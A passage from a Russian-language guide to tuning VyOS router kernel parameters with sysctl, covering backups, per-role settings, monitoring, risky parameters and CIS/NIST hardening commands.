iperf3 -c server -t 60 > after.txt
netstat -s > netstat-after.txt

# Сравнить результаты
diff netstat-before.txt netstat-after.txt
```

### 5. Резервное копирование конфигурации

**Backup перед критичными изменениями:**

```bash
# Сохранить текущую конфигурацию
save /config/backup-before-sysctl-$(date +%Y%m%d).config

# Просмотр доступных backup
ls -lh /config/backup-*

# Восстановление из backup (если нужно)
load /config/backup-before-sysctl-20250115.config
commit
save
```

### 6. Специфические параметры для сценариев

**Не используйте универсальный конфиг для всех сценариев:**

| Сценарий | Приоритеты | Ключевые параметры |
|----------|------------|-------------------|
| Edge Router (DMZ) | Безопасность | rp_filter=1, syn_cookies=1, log_martians=1 |
| Core Router | Производительность | tcp_rmem/wmem (large), bbr, netdev_max_backlog |
| VPN Gateway | Туннелирование | tcp_mtu_probing=1, rp_filter=2, ip_no_pmtu_disc=0 |
| NAT Gateway | Conntrack | nf_conntrack_max (large), tcp_tw_reuse=1 |
| Lab/Testing | Мониторинг | log_martians=1, tcp_timestamps=1 |

### 7. Мониторинг после внедрения

**Установите мониторинг ключевых метрик:**

```bash
# Скрипт мониторинга sysctl параметров
#!/bin/bash
# /config/scripts/monitor-sysctl.sh

echo "=== Critical sysctl parameters ==="
echo "IP Forwarding: $(sysctl -n net.ipv4.ip_forward)"
echo "SYN Cookies: $(sysctl -n net.ipv4.tcp_syncookies)"
echo "RP Filter: $(sysctl -n net.ipv4.conf.all.rp_filter)"
echo "Conntrack Max: $(sysctl -n net.netfilter.nf_conntrack_max)"
echo "Conntrack Current: $(conntrack -C)"
echo "TCP Retransmits: $(netstat -s | grep -i retrans)"
```

### 8. Осторожность с опасными параметрами

**Параметры, которые могут сломать систему:**

```bash
# ОПАСНО: Отключение IP forwarding на роутере
# set system sysctl parameter net.ipv4.ip_forward value 0

# ОПАСНО: Отключение всех ICMP (может сломать PMTU discovery)
# set system sysctl parameter net.ipv4.icmp_echo_ignore_all value 1

# ОПАСНО: kernel.panic = 0 (система зависнет при panic вместо reboot)
# set system sysctl parameter kernel.panic value 0

# ОПАСНО: vm.swappiness = 100 (постоянный swap, деградация производительности)
# set system sysctl parameter vm.swappiness value 100
```

### 9. Соответствие требованиям безопасности

**Стандарты безопасности (CIS, NIST):**

```bash
# Минимальный набор для compliance
configure

# CIS Benchmark - Network Parameters
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv4.conf.default.accept_source_route value 0
set system sysctl parameter net.ipv4.icmp_echo_ignore_broadcasts value 1
set system sysctl parameter net.ipv4.icmp_ignore_bogus_error_responses value 1
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
set system sysctl parameter net.ipv4.conf.default.rp_filter value 1
set system sysctl parameter net.ipv4.tcp_syncookies value 1
set system sysctl parameter net.ipv4.conf.all.log_martians value 1

# Kernel hardening
set system sysctl parameter kernel.randomize_va_space value 2
set system sysctl parameter kernel.dmesg_restrict value 1
set system sysctl parameter kernel.kptr_restrict value 2

commit
save
```

### 10. Версионность и совместимость

**Учитывайте версию ядра:**

```bash
# Проверить версию ядра
uname -r

# Некоторые параметры доступны только в новых версиях
# Например, tcp_bbr появился в Linux 4.9+

# Проверить доступность параметра
ls /proc/sys/net/ipv4/tcp_congestion_control

# Проверить доступные congestion control алгоритмы
sysctl net.ipv4.tcp_available_congestion_control
```

## Полезные ресурсы и документация

### Официальная документация

- [VyOS Documentation - Sysctl](https://docs.vyos.io/en/latest/configuration/system/sysctl.html)
- [Linux Kernel Documentation - sysctl](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)
- [Red Hat - Tuning Network Performance](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/performance_tuning_guide/sect-red_hat_enterprise_linux-performance_tuning_guide-networking-configuration_tools)

### TCP/IP Tuning Guides

- [Linux TCP Tuning Guide](https://fasterdata.es.net/host-tuning/linux/)
- [BBR Congestion Control](https://queue.acm.org/detail.cfm?id=3022184)
- [High Performance Browser Networking](https://hpbn.co/)

### Security Hardening

- [CIS Benchmark for Linux](https://www.cisecurity.org/benchmark/distribution_independent_linux)
- [NIST Security Configuration Checklist](https://www.nist.gov/programs-projects/security-configuration-checklists-program)
- [Linux Kernel Security Subsystem](https://www.kernel.org/doc/html/latest/admin-guide/security.html)

### Cloud-specific

- [Yandex Cloud Network Performance](https://cloud.yandex.ru/docs/compute/concepts/performance-levels)
- [VK Cloud Networking](https://mcs.mail.ru/docs/networks)

## Заключение

Правильная настройка параметров ядра через sysctl является критически важной частью оптимизации VyOS для конкретных сценариев использования. Основные выводы:

### Ключевые принципы:

1. **Понимание параметров**: Не изменяйте параметры, не понимая их влияния
2. **Тестирование**: Всегда тестируйте изменения перед сохранением в production
3. **Мониторинг**: Отслеживайте эффект изменений через метрики
4. **Документирование**: Записывайте причины и результаты изменений
5. **Постепенность**: Вносите изменения поэтапно, а не все сразу

### Приоритеты по сценариям:

**Edge Router (DMZ):**
- Безопасность превыше всего (rp_filter, syn_cookies, no redirects)
- Умеренная производительность
- Логирование подозрительной активности

**High-Performance Core Router:**
- Максимальная пропускная способность (large buffers, BBR, optimized queues)
- Умеренная безопасность
- Минимальная latency

**VPN Gateway:**
- PMTU discovery для туннелей
- Loose rp_filter для asymmetric routing
- Оптимизированный congestion control для encrypted traffic

**NAT Gateway:**
- Максимум conntrack entries
- Fast connection reuse
- Large file descriptor limits

### Рекомендации для облачных платформ:

**Yandex Cloud:**
- Используйте BBR для оптимальной производительности
- Учитывайте burst nature cloud networking
- Настройте large buffers для высокоскоростных каналов

**VK Cloud:**
- Приоритет на security hardening для DMZ роутеров
- Оптимизация conntrack для NAT workloads
- Баланс производительности и безопасности

Следуйте лучшим практикам, тестируйте изменения и адаптируйте конфигурацию под свои специфические требования для достижения оптимальной производительности и безопасности VyOS в вашей инфраструктуре.


---

# RPKI - Resource Public Key Infrastructure

Source: https://opennix.org/d